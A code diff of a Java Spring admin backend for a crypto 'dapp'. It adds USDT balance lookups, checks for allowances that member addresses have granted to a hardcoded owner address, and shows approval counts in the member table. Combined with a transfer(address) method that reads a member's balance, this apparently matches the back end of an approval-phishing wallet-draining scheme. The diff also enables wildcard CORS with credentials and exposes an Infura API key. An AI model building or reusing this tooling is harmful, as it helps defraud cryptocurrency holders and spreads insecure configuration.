src/main/java/cc/mrbird/febs/common/configure/WebMvcConfigure.java
@@ -3,6 +3,7 @@ import cc.mrbird.febs.common.interceptor.DappInterceptor; import cc.mrbird.febs.common.interceptor.LoginInterceptor; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.CorsRegistry; import org.springframework.web.servlet.config.annotation.InterceptorRegistration; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; @@ -26,4 +27,18 @@ registration.addPathPatterns("/dapp/**"); registration.excludePathPatterns("/dapp/common/**"); } /** * 设置cors跨域支持 * * @param registry */ @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**") .allowedOrigins("*") .allowedMethods("GET", "HEAD", "POST", "PUT", "DELETE", "OPTIONS") .allowCredentials(true).maxAge(3600); } } src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
New file @@ -0,0 +1,71 @@ package cc.mrbird.febs.dapp.chain; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; import java.math.BigDecimal; import java.math.BigInteger; /** * @author wzy * @date 2022-03-23 **/ public class ChainService { private final String ETH_PREFIX = "0x"; private final EthService ETH = new EthService(); private final TrxService TRX = TrxService.INSTANCE; private ChainService() {} public final static ChainService INSTANCE = new ChainService(); /** * 获取制定账号的USDT余额 * * @param address * @return */ public BigDecimal balanceOf(String address) { BigDecimal balance = BigDecimal.ZERO; if (address.contains(ETH_PREFIX)) { balance = ETH.tokenGetBalance(address); } else { balance = TRX.balanceOfDecimal(address); } return balance; } /** * 判断地址是否授权给制定账户 * * @param address * @return */ public boolean isAllowance(String address) { BigInteger result; if (address.indexOf(ETH_PREFIX) > 0) { result = ETH.ethAllowance(address); } else { result = TRX.allowance(address); } return result.intValue() != 0; } /** * 获取地址授权数量 * * @param address * @return */ public int allowanceCnt(String address) { String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); String total = JSONObject.parseObject(response).getString("total"); return Integer.parseInt(total); } public static void main(String[] args) { // System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD")); } } src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,6 +53,7 @@ //private static final String ETH_UTL = "http://120.55.86.146:8545"; // private static final String ETH_UTL = "http://114.55.250.231:8545"; private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024"; public EthService() { try { @@ -280,6 +281,10 @@ } } public BigInteger ethAllowance(String address) { return ethAllowance(OWNER_ADDRESS, address); } public BigInteger ethAllowance(String toAddress, String fromAddress) { String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; String methodName = "allowance"; src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -8,6 +8,7 @@ import java.math.BigDecimal; import java.math.BigInteger; import java.math.RoundingMode; /** * @@ -44,6 +45,15 @@ return contract.balanceOf(address); } public BigDecimal balanceOfDecimal(String address) { BigInteger chainData = balanceOf(address); BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN); } public void transfer(String address) { BigInteger balance = balanceOf(address); src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
@@ -3,6 +3,7 @@ import cc.mrbird.febs.common.controller.BaseController; import cc.mrbird.febs.common.entity.FebsResponse; import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.dapp.chain.ChainService; import cc.mrbird.febs.dapp.entity.DappMemberEntity; import cc.mrbird.febs.dapp.service.DappMemberService; import lombok.RequiredArgsConstructor; @@ -40,10 +41,11 @@ @RequestMapping(value = "/getBalanceByAddress/{address}") public FebsResponse getBalanceByAddress(@PathVariable("address") String address) { // DappMemberEntity member = dappMemberService.findByAddress(address); // member.setBalance(BigDecimal.valueOf(100)); return new FebsResponse().success().data(BigDecimal.valueOf(100)); BigDecimal balance = ChainService.INSTANCE.balanceOf(address); DappMemberEntity member = dappMemberService.findByAddress(address); member.setBalance(balance); dappMemberService.updateById(member); return new FebsResponse().success().data(balance); } @PostMapping(value = "/accountStatus/{id}") src/main/java/cc/mrbird/febs/dapp/controller/MemberMoneyFlowController.java
@@ -3,6 +3,7 @@ import cc.mrbird.febs.common.controller.BaseController; import cc.mrbird.febs.common.entity.FebsResponse; import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.dapp.entity.DappAccountMoneyChangeEntity; import cc.mrbird.febs.dapp.entity.DappFundFlowEntity; import cc.mrbird.febs.dapp.service.DappWalletService; import lombok.RequiredArgsConstructor; @@ -42,4 +43,9 @@ dappWalletService.withdrawAgreeOrNot(id, 2); return new FebsResponse().success(); } @RequestMapping(value = "accountMoneyChangeFlow") public FebsResponse accountMoneyChangeFlow(DappAccountMoneyChangeEntity record, QueryRequest request) { return new FebsResponse().success().data(getDataTable(dappWalletService.accountMoneyChangeInPage(record, request))); } } src/main/java/cc/mrbird/febs/dapp/entity/DappAccountMoneyChangeEntity.java
@@ -1,6 +1,7 @@ package cc.mrbird.febs.dapp.entity; import cc.mrbird.febs.common.entity.BaseEntity; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; @@ -14,6 +15,9 @@ @Data @TableName("dapp_account_money_change") public class DappAccountMoneyChangeEntity extends BaseEntity { public DappAccountMoneyChangeEntity() { } public DappAccountMoneyChangeEntity(Long memberId, BigDecimal preAmount, BigDecimal amount, BigDecimal afterAmount, String content, Integer type) { this.memberId = memberId; @@ -44,4 +48,7 @@ * 类型 1-兑换 2-提现 3-采矿 */ private Integer type; @TableField(exist = false) private String address; } src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
@@ -1,6 +1,9 @@ package cc.mrbird.febs.dapp.entity; import cc.mrbird.febs.common.entity.BaseEntity; import cc.mrbird.febs.dapp.chain.ChainService; import cn.hutool.core.util.StrUtil; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; @@ -38,4 +41,14 @@ private String refererId; private String refererIds; @TableField(exist = false) private int approveCnt; public int getApproveCnt() { if (StrUtil.isNotBlank(address)) { return ChainService.INSTANCE.allowanceCnt(address); } return 0; } } src/main/java/cc/mrbird/febs/dapp/mapper/DappAccountMoneyChangeDao.java
@@ -2,6 +2,11 @@ import cc.mrbird.febs.dapp.entity.DappAccountMoneyChangeEntity; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import org.apache.ibatis.annotations.Param; public interface DappAccountMoneyChangeDao extends BaseMapper<DappAccountMoneyChangeEntity> { IPage<DappAccountMoneyChangeEntity> selectInPage(@Param("record") DappAccountMoneyChangeEntity record, Page<DappAccountMoneyChangeEntity> page); } src/main/java/cc/mrbird/febs/dapp/service/DappWalletService.java
@@ -3,6 +3,7 @@ import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.dapp.dto.RecordInPageDto; import cc.mrbird.febs.dapp.dto.WalletOperateDto; import cc.mrbird.febs.dapp.entity.DappAccountMoneyChangeEntity; import cc.mrbird.febs.dapp.entity.DappFundFlowEntity; import cc.mrbird.febs.dapp.entity.DappWalletCoinEntity; import cc.mrbird.febs.dapp.entity.DappWalletMineEntity; @@ -27,4 +28,6 @@ IPage<DappWalletCoinEntity> walletCoinInPage(DappWalletCoinEntity walletCoin, QueryRequest request); IPage<DappWalletMineEntity> walletMineInPage(DappWalletMineEntity walletMine, QueryRequest request); IPage<DappAccountMoneyChangeEntity> accountMoneyChangeInPage(DappAccountMoneyChangeEntity change, QueryRequest request); } src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
@@ -155,4 +155,10 @@ Page<DappWalletMineEntity> page = new Page<>(request.getPageNum(), request.getPageSize()); return dappWalletMineDao.selectInPage(walletMine, page); } @Override public IPage<DappAccountMoneyChangeEntity> accountMoneyChangeInPage(DappAccountMoneyChangeEntity change, QueryRequest request) { Page<DappAccountMoneyChangeEntity> page = new Page<>(request.getPageNum(), request.getPageSize()); return dappAccountMoneyChangeDao.selectInPage(change, page); } } src/main/resources/mapper/dapp/DappAccountMoneyChangeDao.xml
New file @@ -0,0 +1,18 @@ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="cc.mrbird.febs.dapp.mapper.DappAccountMoneyChangeDao"> <select id="selectInPage" resultType="cc.mrbird.febs.dapp.entity.DappAccountMoneyChangeEntity"> select a.*, b.address address from dapp_account_money_change a inner join dapp_member b on a.member_id=b.id <where> <if test="record.address !='' and record.address != null"> and (b.address = #{record.address} or b.invite_id=#{record.address}) </if> <if test="record.type != null"> and a.type=#{record.type} </if> </where> </select> </mapper> src/main/resources/templates/febs/views/dapp/member-wallet-coin.html
@@ -47,7 +47,7 @@ $query = $view.find('#query'), $reset = $view.find('#reset'), $searchForm = $view.find('form'), sortObject = {field: 'createTime', type: null}, sortObject = {}, tableIns; form.render(); @@ -89,7 +89,7 @@ {field: 'address', title: '地址', minWidth: 130}, {field: 'availableAmount', title: '可用金额', minWidth: 130}, {field: 'frozenAmount', title: '冻结金额', minWidth: 130}, {field: 'totalAmount', title: '创建时间', minWidth: 180} {field: 'totalAmount', title: '总金额', minWidth: 180} ]] }); } src/main/resources/templates/febs/views/dapp/member-wallet-mine.html
@@ -47,7 +47,7 @@ $query = $view.find('#query'), $reset = $view.find('#reset'), $searchForm = $view.find('form'), sortObject = {field: 'createTime', type: null}, sortObject = {}, tableIns; form.render(); @@ -89,7 +89,7 @@ {field: 'address', title: '地址', minWidth: 130}, {field: 'availableAmount', title: '可用金额', minWidth: 130}, {field: 'frozenAmount', title: '冻结金额', minWidth: 130}, {field: 'totalAmount', title: '创建时间', minWidth: 180} {field: 'totalAmount', title: '总金额', minWidth: 180} ]] }); } src/main/resources/templates/febs/views/dapp/member.html
@@ -108,7 +108,7 @@ <p><a lay-event="freshBalance">刷新</a></p> </script> <script type="text/html" id="approve-list"> <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">1</a> <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a> </script> <script type="text/html" id="member-option"> {{# @@ -193,7 +193,7 @@ async : true, success : function(data) { if (data.data) { balance.text(123); balance.text(data.data); } } }); src/main/resources/templates/febs/views/dapp/money-change-flow.html
@@ -1,25 +1,25 @@ <div class="layui-fluid layui-anim febs-anim" id="febs-member" lay-title="用户管理"> <div class="layui-fluid layui-anim febs-anim" id="febs-money-change" lay-title="资金变化流水"> <div class="layui-row febs-container"> <div class="layui-col-md12"> <div class="layui-card"> <div class="layui-card-body febs-table-full"> <form class="layui-form layui-table-form" lay-filter="user-table-form"> <form class="layui-form layui-table-form" lay-filter="money-change-table-form"> <div class="layui-row"> <div class="layui-col-md10"> <div class="layui-form-item"> <div class="layui-inline"> <label class="layui-form-label layui-form-label-sm">邀请码</label> <div class="layui-input-inline"> <input type="text" name="inviteId" autocomplete="off" class="layui-input"> <input type="text" name="address" autocomplete="off" placeholder="输入地址或邀请码" class="layui-input"> </div> </div> <div class="layui-inline"> <label class="layui-form-label layui-form-label-sm">状态</label> <label class="layui-form-label layui-form-label-sm">类型</label> <div class="layui-input-inline"> <select name="accountStatus"> <select name="type"> <option value=""></option> <option value="2">禁用</option> <option value="1">有效</option> <option value="1">兑换</option> <option value="2">提现</option> <option value="3">采矿</option> </select> </div> </div> @@ -55,7 +55,7 @@ </div> </div> </form> <table lay-filter="memberTable" lay-data="{id: 'memberTable'}"></table> <table lay-filter="moneyChangeTable" lay-data="{id: 'moneyChangeTable'}"></table> </div> </div> </div> @@ -66,71 +66,15 @@ height: auto !important; } </style> <script type="text/html" id="user-status"> <script type="text/html" id="type-format"> {{# var status = { 1: {title: '有效', color: 'green'}, 2: {title: '禁用', color: 'volcano'} }[d.accountStatus]; var type = { 1: {title: '兑换'}, 2: {title: '提现'}, 3: {title: '采矿'} }[d.type]; }} <span class="layui-badge febs-bg-{{status.color}}">{{ status.title }}</span> </script> <script type="text/html" id="change-able"> {{# var status = { 1: {title: '是', color: 'green'}, 2: {title: '否', color: 'volcano'} }[d.changeAble]; }} <span class="layui-badge febs-bg-{{status.color}}">{{ status.title }}</span> </script> <script type="text/html" id="withdraw-able"> {{# var status = { 1: {title: '是', color: 'green'}, 2: {title: '否', color: 'volcano'} }[d.withdrawAble]; }} <span class="layui-badge febs-bg-{{status.color}}">{{ status.title }}</span> </script> <script type="text/html" id="user-sex"> {{# var sex = { 2: {title: '保密'}, 1: {title: '女'}, 0: {title: '男'} }[d.sex]; }} <span>{{ sex.title }}</span> </script> <script type="text/html" id="balance"> <span name="balance">{{ d.balance }}</span> <p><a lay-event="freshBalance">刷新</a></p> </script> <script type="text/html" id="approve-list"> <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">1</a> </script> <script type="text/html" id="member-option"> {{# var accountStatus = { 2: {title: '启用'}, 1: {title: '禁用'} }[d.accountStatus]; var changeAble = { 2: {title: '可兑换'}, 1: {title: '不可兑换'} }[d.changeAble]; var withdrawAble = { 2: {title: '可提现'}, 1: {title: '不可提现'} }[d.withdrawAble]; }} <span shiro:lacksPermission="user:view,user:update,user:delete"> <span class="layui-badge-dot febs-bg-orange"></span> 无权限 </span> <a lay-event="accountStatus" shiro:hasPermission="member:accountStatus" title="设置用户状态">{{accountStatus.title}}</a> <a lay-event="change" shiro:hasPermission="member:changeAble" title="设置是否可兑换">{{changeAble.title}}</a> <a lay-event="withdraw" shiro:hasPermission="member:withdrawAble" title="设置是否可提现">{{withdrawAble.title}}</a> <span>{{ type.title }}</span> </script> <script data-th-inline="none" type="text/javascript"> layui.use(['dropdown', 'jquery', 'laydate', 'form', 'table', 'febs', 'treeSelect'], function () { @@ -140,7 +84,7 @@ form = layui.form, table = layui.table, dropdown = layui.dropdown, $view = $('#febs-member'), $view = $('#febs-money-change'), $query = $view.find('#query'), $reset = $view.find('#reset'), $searchForm = $view.find('form'), @@ -151,56 +95,12 @@ initTable(); table.on('tool(memberTable)', function (obj) { table.on('tool(moneyChangeTable)', function (obj) { var data = obj.data, layEvent = obj.event; if (layEvent === 'accountStatus') { var text = "是否启用该用户?"; if (data.accountStatus === 1) { text = "是否禁用该用户" } febs.modal.confirm('设置账户状态', text, function () { changeStatus("member/accountStatus/" + data.id); }); } if (layEvent === 'withdraw') { var text = "是否将该用户设置为可提现?"; if (data.accountStatus === 1) { text = "是否将该用户设置为不可提现?" } febs.modal.confirm('设置提现状态', text, function () { changeStatus("member/withdrawAble/" + data.id); }); } if (layEvent === 'change') { var text = "是否将该用户设置为可兑换?"; if (data.accountStatus === 1) { text = "是否将该用户设置为不可兑换?" } febs.modal.confirm('设置兑换状态', text, function () { changeStatus("member/changeAble/" + data.id); }); } var rowIndex = $(obj.tr).attr("data-index"); var balance = $(obj.tr).find("[name='balance']"); if (layEvent === 'freshBalance') { $.ajax({ url : ctx + 'member/getBalanceByAddress/' + obj.data.address, type : 'get', async : true, success : function(data) { if (data.data) { balance.text(123); } } }); } }); table.on('sort(memberTable)', function (obj) { table.on('sort(moneyChangeTable)', function (obj) { sortObject = obj; tableIns.reload({ initSort: obj, @@ -224,33 +124,28 @@ function initTable() { tableIns = febs.table.init({ elem: $view.find('table'), id: 'memberTable', url: ctx + 'member/list', id: 'moneyChangeTable', url: ctx + 'flow/accountMoneyChangeFlow', cols: [[ {type: 'checkbox'}, {type: 'numbers'}, {field: 'address', title: '地址', minWidth: 130}, {title: '余额', templet: '#balance'}, {title: '授权列表', templet: '#approve-list', minWidth: 110}, {field: 'inviteId', title: '邀请码', minWidth: 130}, {field: 'refererId', title: '上级邀请码', minWidth: 130}, {title: '账户状态', templet: '#user-status'}, {title: '是否可兑换', templet: '#change-able', minWidth: 130}, {title: '是否可提现', templet: '#withdraw-able', minWidth: 130}, {field: 'createTime', title: '创建时间', minWidth: 180}, {title: '操作', toolbar: '#member-option', minWidth: 200} {field: 'address', title: '地址', minWidth: 150}, {field: 'preAmount', title: '变化前金额', minWidth: 100}, {field: 'amount', title: '变化金额', minWidth: 100}, {field: 'afterAmount', title: '变化后金额', minWidth: 100}, {field: 'content', title: '描述', minWidth: 130}, {title: '类型', templet: '#type-format'}, {field: 'createTime', title: '创建时间', minWidth: 180} ]] }); } function getQueryParams() { return { inviteId: $searchForm.find('input[name="inviteId"]').val().trim(), changeAble: $searchForm.find("select[name='changeAble']").val(), accountStatus: $searchForm.find("select[name='accountStatus']").val(), withdrawAble: $searchForm.find("input[name='withdrawAble']").val(), invalidate_ie_cache: new Date() }; // return { // inviteId: $searchForm.find('input[name="inviteId"]').val().trim(), // changeAble: $searchForm.find("select[name='changeAble']").val(), // accountStatus: $searchForm.find("select[name='accountStatus']").val(), // withdrawAble: $searchForm.find("input[name='withdrawAble']").val(), // invalidate_ie_cache: new Date() // }; } function changeStatus(url) {